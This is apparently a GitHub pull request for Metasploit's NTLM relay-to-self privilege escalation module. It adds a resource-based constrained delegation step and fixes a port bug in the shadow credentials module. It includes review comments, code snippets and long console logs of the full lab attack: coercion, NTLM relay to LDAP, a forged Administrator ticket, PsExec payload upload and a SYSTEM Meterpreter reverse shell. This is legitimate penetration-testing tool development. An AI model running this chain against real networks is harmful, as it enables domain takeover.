NtlmRelay2Self module fix check for self delegation via rbcd module - #21647
Conversation
|
Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected. We've added the |
There was a problem hiding this comment.
Pull request overview
This PR updates the windows/local/ntlm_relay_2_self exploit chain to ensure Resource-Based Constrained Delegation (RBCD) self-delegation is configured (via admin/ldap/rbcd) before requesting an S4U2Proxy TGS, and includes a small fix in admin/ldap/shadow_credentials when persisting credential metadata.
Changes:
- Add an RBCD “READ then WRITE if needed” step to set
msDS-AllowedToActOnBehalfOfOtherIdentityfor self-delegation inntlm_relay_2_self. - Add best-effort cleanup to remove the self-delegation ACE if it was written during execution.
- Fix credential metadata port assignment in
shadow_credentialsto use the derived LDAP service port.
Impact Analysis:
- Blast radius: medium (affects the behavior and side effects of
windows/local/ntlm_relay_2_self; transitively depends onadmin/ldap/rbcdruntime/output). - Data and contract effects: modifies AD object security descriptor state via RBCD WRITE/REMOVE (directory-side configuration changes); cleanup reliability is Unknown from this diff alone.
- Rollback and test focus: rollback is straightforward (revert module changes), but validate end-to-end: (1) RBCD write happens only when needed, (2) S4U2Proxy succeeds on a clean environment, (3) cleanup does not leave delegation behind.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.
| File | Description |
|---|---|
| modules/exploits/windows/local/ntlm_relay_2_self.rb | Adds RBCD READ/WRITE orchestration and conditional cleanup around the ticket acquisition chain. |
| modules/auxiliary/admin/ldap/shadow_credentials.rb | Uses the LDAP service-derived port when storing credential metadata. |
| read_result = buffer_output.dump_buffer | ||
|
|
||
| if read_result.downcase.include?(target_name.downcase) | ||
| print_good("RBCD already configured: #{target_name} is listed in msDS-AllowedToActOnBehalfOfOtherIdentity.") | ||
| return :already_configured | ||
| end |
| rbcd_module.run_simple( | ||
| 'LocalInput' => user_input, | ||
| 'LocalOutput' => user_output, | ||
| 'RunAsJob' => false | ||
| ) | ||
|
|
||
| print_good("RBCD delegation removed for #{target_name}.") | ||
| rescue StandardError => e |
| rbcd_module_write.run_simple( | ||
| 'LocalInput' => user_input, | ||
| 'LocalOutput' => user_output, | ||
| 'RunAsJob' => false | ||
| ) |
There was a problem hiding this comment.
I have noticed for some of this module run we are not checking the output but rather rescuing a StandardError you don't expect to see an edge case where the module doesn't throw standard error but it fails?
6c049e2 to
38675fe
Compare
dledda-r7
left a comment
There was a problem hiding this comment.
msf exploit(windows/local/ntlm_relay_2_self) >
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8999 is available on the victim...
[+] Port 8999 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 10.5.134.192 is reachable from the victim!
[*] Starting relay server bound to Session 14...
[*] Using URL: http://192.168.3.10:8999/
[*] Server successfully started on 0.0.0.0:8999 via Session 14.
[*] Starting WebClient service via ETW trigger...
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\JACKWS@8999/print\lNQAGrz\0tw8o2n.OIA...
[*] Received OPTIONS request for /print/lNQAGrz/0tw8o2n.OIA from 10.5.134.194:50072
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received OPTIONS request for /print/lNQAGrz/0tw8o2n.OIA from 10.5.134.194:50072
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://10.5.134.192:389, attempting to relay back to client
[*] Received OPTIONS request for /print/lNQAGrz/0tw8o2n.OIA from 10.5.134.194:50072
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: WHISTLER\sandy - Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 19 successfully opened!
[*] Target list exhausted for 10.5.134.194. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 19
[*] Running admin/ldap/shadow_credentials to ADD key for jackws$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 10.5.134.192:389 Discovered base DN: DC=whistler,DC=local
[*] Certificate stored at: /home/kali/.msf4/loot/20260716124649_default_10.5.134.192_windows.ad.cs_776192.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID f18ca8d3-e020-56b0-7e28-2c0bd1535448
[*] Shadow Credentials successfully added (Device ID: f18ca8d3-e020-56b0-7e28-2c0bd1535448).
[*] Loading admin/ldap/rbcd to check RBCD for jackws$...
[+] RBCD already configured: jackws$ is listed in msDS-AllowedToActOnBehalfOfOtherIdentity.
[*] Requesting S4U2Proxy TGS for Administrator...
[!] Warning: Provided principal and realm (jackws$@WHISTLER.local) do not match entries in certificate:
[*] Using cached credential for krbtgt/WHISTLER.LOCAL@WHISTLER.LOCAL JACKWS$@WHISTLER.LOCAL
[*] 10.5.134.192:88 - Getting TGS impersonating Administrator@WHISTLER.local (SPN: CIFS/jackws.whistler.local)
[+] 10.5.134.192:88 - Received a valid TGS-Response
[*] 10.5.134.192:88 - TGS MIT Credential Cache ticket saved to /home/kali/.msf4/loot/20260716124650_default_10.5.134.192_mit.kerberos.cca_945530.bin
[+] 10.5.134.192:88 - Received a valid TGS-Response
[*] 10.5.134.192:88 - TGS MIT Credential Cache ticket saved to /home/kali/.msf4/loot/20260716124651_default_10.5.134.192_mit.kerberos.cca_334904.bin
[+] S4U2Proxy Ticket acquired: /home/kali/.msf4/loot/20260716124651_default_10.5.134.192_mit.kerberos.cca_334904.bin
[+] Obtained impersonating ST for target host jackws$
[*] Ticket for jackws$ stored at: /home/kali/.msf4/loot/20260716124651_default_10.5.134.192_mit.kerberos.cca_334904.bin
[*] --- Initiating OPSEC Cleanup ---
[*] Removing Shadow Credentials (Device ID: f18ca8d3-e020-56b0-7e28-2c0bd1535448)...
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 19
[*] Running admin/ldap/shadow_credentials to REMOVE key for jackws$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 10.5.134.192:389 Discovered base DN: DC=whistler,DC=local
[+] Deleted entry with device ID f18ca8d3-e020-56b0-7e28-2c0bd1535448
[+] Successfully removed KeyCredentialLink with Device ID: f18ca8d3-e020-56b0-7e28-2c0bd1535448
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 14 COMM channel...
[*] Launching PsExec against jackws.whistler.local as Administrator (Kerberos) via COMM session 14...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 192.168.3.10:4446
[*] jackws.whistler.local:445 - Connecting to the server...
[*] jackws.whistler.local:445 - Authenticating to jackws.whistler.local:445|WHISTLER.local as user 'Administrator'...
[*] jackws.whistler.local:445 - Patching sname from CIFS/jackws.whistler.local to cifs/jackws.whistler.local
[*] jackws.whistler.local:445 - Loaded a credential from ticket file: /home/kali/.msf4/loot/20260716124651_default_10.5.134.192_mit.kerberos.cca_334904.bin
[!] jackws.whistler.local:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] jackws.whistler.local:445 - Uploading payload... KZehLHrL.exe
[*] jackws.whistler.local:445 - Created \KZehLHrL.exe...
[*] Sending stage (199238 bytes) to 10.5.134.194
[+] jackws.whistler.local:445 - Service started successfully...
[*] jackws.whistler.local:445 - Deleting \KZehLHrL.exe...
[*] Meterpreter session 20 opened (192.168.3.10:4446 -> 10.5.134.194:50074) at 2026-07-16 12:47:28 -0400
msf exploit(windows/local/ntlm_relay_2_self) > sessions -i -1
[*] Starting interaction with 20...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
| **service_data, | ||
| address: service_data[:host], | ||
| port: rport, | ||
| port: service_data[:port], |
There was a problem hiding this comment.
I never saw this error previously when testing this module - but now in multiple different test environments the shadow creds module crashes every time when attempting to store the certificate in the database because the rport accessor is nil. The rport datastore options is defined by default in the ntlm_relay_2_self module and the shadow_credentials module runs successfully up until store_cert is called. I'll admit I don't know why this was working before and isn't now, I didn't spend a ton of time investigating. However, it seems reasonable to set the port value of the credential_data to the port returned by the call to ldap_service_data, which returns 389 in my environment.
Would love to get a second opinion on this.
Before Shadow Credentials Fix
msf exploit(windows/local/ntlm_relay_2_self) > run
[*] Exploit running as background job 2.
msf exploit(windows/local/ntlm_relay_2_self) >
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/8W6hfpvust4ims
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[*] Starting WebClient service via ETW trigger...
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\0x3yj\18SOVr.RCO...
[*] Received OPTIONS request for /print/0x3yj/18SOVr.RCO from 172.16.199.130:50003
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/0x3yj/18SOVr.RCO from 172.16.199.130:50003
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/0x3yj/18SOVr.RCO from 172.16.199.130:50003
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 2 successfully opened!
[*] Target list exhausted for 172.16.199.130. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 2
[*] Running admin/ldap/shadow_credentials to ADD key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[-] Auxiliary failed: ActiveRecord::RecordInvalid Validation failed: Port is not a number, Port is not included in the list
[-] Call stack:
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/validations.rb:87:in `raise_validation_error'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/validations.rb:54:in `save!'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:365:in `block in save!'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:417:in `block (2 levels) in with_transaction_returning_status'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/transaction.rb:626:in `block in within_new_transaction'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activesupport-8.0.5/lib/active_support/concurrency/null_lock.rb:9:in `synchronize'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/transaction.rb:623:in `within_new_transaction'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/database_statements.rb:367:in `within_new_transaction'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/database_statements.rb:359:in `transaction'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:413:in `block in with_transaction_returning_status'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/connection_pool.rb:416:in `with_connection'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_handling.rb:312:in `with_connection'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:409:in `with_transaction_returning_status'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:365:in `save!'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/suppressor.rb:56:in `save!'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/metasploit-credential-6.0.25/lib/metasploit/credential/creation.rb:625:in `create_credential_service'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/metasploit-credential-6.0.25/lib/metasploit/credential/creation.rb:482:in `create_credential_origin_service'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/metasploit-credential-6.0.25/lib/metasploit/credential/creation.rb:407:in `create_credential_origin'
[-] /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/metasploit-credential-6.0.25/lib/metasploit/credential/creation.rb:144:in `create_credential'
[-] /Users/jheysel/rapid7/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:6:in `block in create_credential'
[-] /Users/jheysel/rapid7/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:164:in `data_service_operation'
[-] /Users/jheysel/rapid7/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:5:in `create_credential'
[-] /Users/jheysel/rapid7/metasploit-framework/lib/msf/core/auxiliary/report.rb:40:in `create_credential'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb:288:in `store_cert'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb:266:in `action_add'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb:178:in `block in run'
[-] /Users/jheysel/rapid7/metasploit-framework/lib/msf/core/optional_session/ldap.rb:51:in `ldap_connect'
[-] /Users/jheysel/rapid7/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb:159:in `run'
[-] Shadow credentials module failed or did not return expected data for action ADD.
[*] --- Initiating OPSEC Cleanup ---
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 1 COMM channel...
[*] Launching PsExec against minion1.kerberos.issue as Administrator (Kerberos) via COMM session 1...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 172.16.199.1:8484
[*] minion1.kerberos.issue:445 - Connecting to the server...
[*] minion1.kerberos.issue:445 - Authenticating to minion1.kerberos.issue:445|kerberos.issue as user 'Administrator'...
[*] minion1.kerberos.issue:445 - Patching sname from CIFS/minion1.kerberos.issue to cifs/minion1.kerberos.issue
[*] minion1.kerberos.issue:445 - Loaded a credential from ticket file: /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[*] minion1.kerberos.issue:445 - Selecting PowerShell target
[*] minion1.kerberos.issue:445 - Executing the payload...
[+] minion1.kerberos.issue:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (199238 bytes) to 172.16.199.130
Release NotesThis updates the |
Description
This PR adds a call to the rbcd module to update the
msDS-AllowedToActOnBehalfOfOtherIdentityattribute of the machine account we're targeting in the ntlm_relay_2_self module to allow for self delegation.Shadow Credentials allows the operator to get a TGT via PKINIT. However unlike traditional constrained delegation, a computer account cannot inherently use S4U2Proxy to delegate to itself unless a Resource-Based Constrained Delegation relationship is explicitly defined.
This is a requirement in order to request a TGS impersonating the administrator as the machine account. If this attribute is not set operators will encounter a KDC_ERR_BADOPTION (13) error.
Why wasn't this an issue before?
Originally the ntlm_relay_2_self module was calling the rbcd module, updating the attribute, and then removing the added entry on clean up. Towards the end of the module review I though this might be unnecessary and deleted the call to the rbcd module. It appears as thought the REMOVE action in the rbcd module is broken, so the
msDS-AllowedToActOnBehalfOfOtherIdentitystayed in my environment and continued to allow the module to work.Breaking Changes
None
Reviewer Notes
Please see the comment I left regarding the shadow creds fix.
Testing Evidence
Before
(This output includes the shadow credentials fix)
After